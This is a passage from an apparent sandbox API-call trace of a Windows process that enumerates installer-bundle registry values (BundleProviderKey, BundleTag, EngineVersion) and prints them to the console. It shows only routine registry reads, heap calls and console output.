(HeapHandle=0x3c0000, Flags=0xc, Size=0x2c) returned 0x3d7910 [0150.798] GetProcessHeap () returned 0x3c0000 [0150.798] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0150.798] GetProcessHeap () returned 0x3c0000 [0150.798] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x2c [0150.798] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleProviderKey", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d7910, pcbData=0x29f780*=0x2a | out: pdwType=0x29f700*=0x1, pvData=",,amd64,14.0,bundle", pcbData=0x29f780*=0x28) returned 0x0 [0150.798] __iob_func () returned 0x7fefd702a80 [0150.798] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.798] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.798] _fileno (_File=0x7fefd702ab0) returned 1 [0150.798] _errno () returned 0x204bb0 [0150.798] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.798] _errno () returned 0x204bb0 [0150.798] GetFileType (hFile=0x50) returned 0x1 [0150.798] lstrlenW (lpString=" ") returned 4 [0150.798] GetConsoleOutputCP () returned 0x1b5 [0150.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.799] GetConsoleOutputCP () returned 0x1b5 [0150.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.799] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.799] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.799] lstrlenW (lpString="BundleProviderKey") returned 17 [0150.799] __iob_func () returned 0x7fefd702a80 [0150.799] _fileno (_File=0x7fefd702ab0) returned 1 [0150.799] _errno () returned 0x204bb0 [0150.799] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.799] _errno () returned 0x204bb0 [0150.799] GetFileType (hFile=0x50) returned 0x1 [0150.799] lstrlenW (lpString="BundleProviderKey") returned 17 [0150.799] GetConsoleOutputCP () returned 0x1b5 [0150.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0150.799] GetConsoleOutputCP () returned 0x1b5 [0150.799] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleProviderKey", cchWideChar=17, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleProviderKey", lpUsedDefaultChar=0x0) returned 17 [0150.799] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 17 [0150.799] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.799] __iob_func () returned 0x7fefd702a80 [0150.799] _fileno (_File=0x7fefd702ab0) returned 1 [0150.799] _errno () returned 0x204bb0 [0150.799] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.799] _errno () returned 0x204bb0 [0150.799] GetFileType (hFile=0x50) returned 0x1 [0150.800] lstrlenW (lpString=" ") returned 4 [0150.800] GetConsoleOutputCP () returned 0x1b5 [0150.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.800] GetConsoleOutputCP () returned 0x1b5 [0150.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.800] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.800] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.800] __iob_func () returned 0x7fefd702a80 [0150.800] _fileno (_File=0x7fefd702ab0) returned 1 [0150.800] _errno () returned 0x204bb0 [0150.800] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.800] _errno () returned 0x204bb0 [0150.800] GetFileType (hFile=0x50) returned 0x1 [0150.800] lstrlenW (lpString="REG_SZ") returned 6 [0150.800] GetConsoleOutputCP () returned 0x1b5 [0150.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.800] GetConsoleOutputCP () returned 0x1b5 [0150.800] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.800] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.800] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.800] __iob_func () returned 0x7fefd702a80 [0150.801] _fileno (_File=0x7fefd702ab0) returned 1 [0150.801] _errno () returned 0x204bb0 [0150.801] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.801] _errno () returned 0x204bb0 [0150.801] GetFileType (hFile=0x50) returned 0x1 [0150.801] lstrlenW (lpString=" ") returned 4 [0150.801] GetConsoleOutputCP () returned 0x1b5 [0150.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.801] GetConsoleOutputCP () returned 0x1b5 [0150.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.801] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.801] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.801] __iob_func () returned 0x7fefd702a80 [0150.801] _fileno (_File=0x7fefd702ab0) returned 1 [0150.801] _errno () returned 0x204bb0 [0150.801] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.801] _errno () returned 0x204bb0 [0150.801] GetFileType (hFile=0x50) returned 0x1 [0150.801] lstrlenW (lpString=",,amd64,14.0,bundle") returned 19 [0150.801] GetConsoleOutputCP () returned 0x1b5 [0150.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=",,amd64,14.0,bundle", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0150.801] GetConsoleOutputCP () returned 0x1b5 [0150.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=",,amd64,14.0,bundle", cchWideChar=19, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=",,amd64,14.0,bundle", lpUsedDefaultChar=0x0) returned 19 [0150.802] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0150.802] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.802] __iob_func () returned 0x7fefd702a80 [0150.802] _fileno (_File=0x7fefd702ab0) returned 1 [0150.802] _errno () returned 0x204bb0 [0150.802] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.802] _errno () returned 0x204bb0 [0150.802] GetFileType (hFile=0x50) returned 0x1 [0150.802] lstrlenW (lpString="\n") returned 1 [0150.802] GetConsoleOutputCP () returned 0x1b5 [0150.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.802] GetConsoleOutputCP () returned 0x1b5 [0150.802] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.802] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.802] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.802] GetProcessHeap () returned 0x3c0000 [0150.802] GetProcessHeap () returned 0x3c0000 [0150.802] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910) returned 1 [0150.802] GetProcessHeap () returned 0x3c0000 [0150.802] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d7910) returned 0x2c [0150.802] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d7910 | out: hHeap=0x3c0000) returned 1 [0150.802] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="BundleTag", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.802] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x2) returned 0x0 [0150.802] GetProcessHeap () returned 0x3c0000 [0150.802] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x4) returned 0x3dee90 [0150.802] GetProcessHeap () returned 0x3c0000 [0150.802] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.802] GetProcessHeap () returned 0x3c0000 [0150.803] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0150.803] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="BundleTag", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x2 | out: pdwType=0x29f700*=0x1, pvData="", pcbData=0x29f780*=0x2) returned 0x0 [0150.803] __iob_func () returned 0x7fefd702a80 [0150.803] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.803] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.803] _fileno (_File=0x7fefd702ab0) returned 1 [0150.803] _errno () returned 0x204bb0 [0150.803] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.803] _errno () returned 0x204bb0 [0150.803] GetFileType (hFile=0x50) returned 0x1 [0150.803] lstrlenW (lpString=" ") returned 4 [0150.803] GetConsoleOutputCP () returned 0x1b5 [0150.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.803] GetConsoleOutputCP () returned 0x1b5 [0150.803] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.803] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.803] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.803] lstrlenW (lpString="BundleTag") returned 9 [0150.803] __iob_func () returned 0x7fefd702a80 [0150.803] _fileno (_File=0x7fefd702ab0) returned 1 [0150.803] _errno () returned 0x204bb0 [0150.803] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.803] _errno () returned 0x204bb0 [0150.803] GetFileType (hFile=0x50) returned 0x1 [0150.803] lstrlenW (lpString="BundleTag") returned 9 [0150.803] GetConsoleOutputCP () returned 0x1b5 [0150.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.804] GetConsoleOutputCP () returned 0x1b5 [0150.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="BundleTag", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BundleTag", lpUsedDefaultChar=0x0) returned 9 [0150.804] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.804] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.804] __iob_func () returned 0x7fefd702a80 [0150.804] _fileno (_File=0x7fefd702ab0) returned 1 [0150.804] _errno () returned 0x204bb0 [0150.804] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.804] _errno () returned 0x204bb0 [0150.804] GetFileType (hFile=0x50) returned 0x1 [0150.804] lstrlenW (lpString=" ") returned 4 [0150.804] GetConsoleOutputCP () returned 0x1b5 [0150.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.804] GetConsoleOutputCP () returned 0x1b5 [0150.804] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.804] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.804] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.804] __iob_func () returned 0x7fefd702a80 [0150.804] _fileno (_File=0x7fefd702ab0) returned 1 [0150.804] _errno () returned 0x204bb0 [0150.804] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.804] _errno () returned 0x204bb0 [0150.804] GetFileType (hFile=0x50) returned 0x1 [0150.804] lstrlenW (lpString="REG_SZ") returned 6 [0150.805] GetConsoleOutputCP () returned 0x1b5 [0150.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.805] GetConsoleOutputCP () returned 0x1b5 [0150.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.805] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.805] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.805] __iob_func () returned 0x7fefd702a80 [0150.805] _fileno (_File=0x7fefd702ab0) returned 1 [0150.805] _errno () returned 0x204bb0 [0150.805] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.805] _errno () returned 0x204bb0 [0150.805] GetFileType (hFile=0x50) returned 0x1 [0150.805] lstrlenW (lpString=" ") returned 4 [0150.805] GetConsoleOutputCP () returned 0x1b5 [0150.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.805] GetConsoleOutputCP () returned 0x1b5 [0150.805] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.805] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.805] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.805] __iob_func () returned 0x7fefd702a80 [0150.805] _fileno (_File=0x7fefd702ab0) returned 1 [0150.805] _errno () returned 0x204bb0 [0150.806] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.806] _errno () returned 0x204bb0 [0150.806] GetFileType (hFile=0x50) returned 0x1 [0150.806] lstrlenW (lpString="") returned 0 [0150.806] __iob_func () returned 0x7fefd702a80 [0150.806] _fileno (_File=0x7fefd702ab0) returned 1 [0150.806] _errno () returned 0x204bb0 [0150.806] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.806] _errno () returned 0x204bb0 [0150.806] GetFileType (hFile=0x50) returned 0x1 [0150.806] lstrlenW (lpString="\n") returned 1 [0150.806] GetConsoleOutputCP () returned 0x1b5 [0150.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.806] GetConsoleOutputCP () returned 0x1b5 [0150.806] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.806] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.806] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.806] GetProcessHeap () returned 0x3c0000 [0150.806] GetProcessHeap () returned 0x3c0000 [0150.806] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.806] GetProcessHeap () returned 0x3c0000 [0150.806] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x4 [0150.806] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.806] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EngineVersion", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.806] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x18) returned 0x0 [0150.806] GetProcessHeap () returned 0x3c0000 [0150.806] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x1a) returned 0x3d5c30 [0150.806] GetProcessHeap () returned 0x3c0000 [0150.806] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c30) returned 1 [0150.806] GetProcessHeap () returned 0x3c0000 [0150.807] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c30) returned 0x1a [0150.807] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EngineVersion", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c30, pcbData=0x29f780*=0x18 | out: pdwType=0x29f700*=0x1, pvData="3.7.3813.0", pcbData=0x29f780*=0x16) returned 0x0 [0150.807] __iob_func () returned 0x7fefd702a80 [0150.807] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.807] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.807] _fileno (_File=0x7fefd702ab0) returned 1 [0150.807] _errno () returned 0x204bb0 [0150.807] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.807] _errno () returned 0x204bb0 [0150.807] GetFileType (hFile=0x50) returned 0x1 [0150.807] lstrlenW (lpString=" ") returned 4 [0150.807] GetConsoleOutputCP () returned 0x1b5 [0150.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.807] GetConsoleOutputCP () returned 0x1b5 [0150.807] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.807] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.807] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.807] lstrlenW (lpString="EngineVersion") returned 13 [0150.807] __iob_func () returned 0x7fefd702a80 [0150.807] _fileno (_File=0x7fefd702ab0) returned 1 [0150.807] _errno () returned 0x204bb0 [0150.807] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.807] _errno () returned 0x204bb0 [0150.807] GetFileType (hFile=0x50) returned 0x1 [0150.807] lstrlenW (lpString="EngineVersion") returned 13 [0150.807] GetConsoleOutputCP () returned 0x1b5 [0150.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.808] GetConsoleOutputCP () returned 0x1b5 [0150.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EngineVersion", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EngineVersion", lpUsedDefaultChar=0x0) returned 13 [0150.808] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.808] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.808] __iob_func () returned 0x7fefd702a80 [0150.808] _fileno (_File=0x7fefd702ab0) returned 1 [0150.808] _errno () returned 0x204bb0 [0150.808] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.808] _errno () returned 0x204bb0 [0150.808] GetFileType (hFile=0x50) returned 0x1 [0150.808] lstrlenW (lpString=" ") returned 4 [0150.808] GetConsoleOutputCP () returned 0x1b5 [0150.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.808] GetConsoleOutputCP () returned 0x1b5 [0150.808] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.808] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.808] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.808] __iob_func () returned 0x7fefd702a80 [0150.808] _fileno (_File=0x7fefd702ab0) returned 1 [0150.808] _errno () returned 0x204bb0 [0150.808] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.808] _errno () returned 0x204bb0 [0150.808] GetFileType (hFile=0x50) returned 0x1 [0150.808] lstrlenW (lpString="REG_SZ") returned 6 [0150.809] GetConsoleOutputCP () returned 0x1b5 [0150.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.809] GetConsoleOutputCP () returned 0x1b5 [0150.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.809] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.809] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.809] __iob_func () returned 0x7fefd702a80 [0150.809] _fileno (_File=0x7fefd702ab0) returned 1 [0150.809] _errno () returned 0x204bb0 [0150.809] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.809] _errno () returned 0x204bb0 [0150.809] GetFileType (hFile=0x50) returned 0x1 [0150.809] lstrlenW (lpString=" ") returned 4 [0150.809] GetConsoleOutputCP () returned 0x1b5 [0150.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.809] GetConsoleOutputCP () returned 0x1b5 [0150.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.809] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.809] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.809] __iob_func () returned 0x7fefd702a80 [0150.809] _fileno (_File=0x7fefd702ab0) returned 1 [0150.809] _errno () returned 0x204bb0 [0150.810] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.810] _errno () returned 0x204bb0 [0150.810] GetFileType (hFile=0x50) returned 0x1 [0150.810] lstrlenW (lpString="3.7.3813.0") returned 10 [0150.810] GetConsoleOutputCP () returned 0x1b5 [0150.810] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="3.7.3813.0", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0150.810] 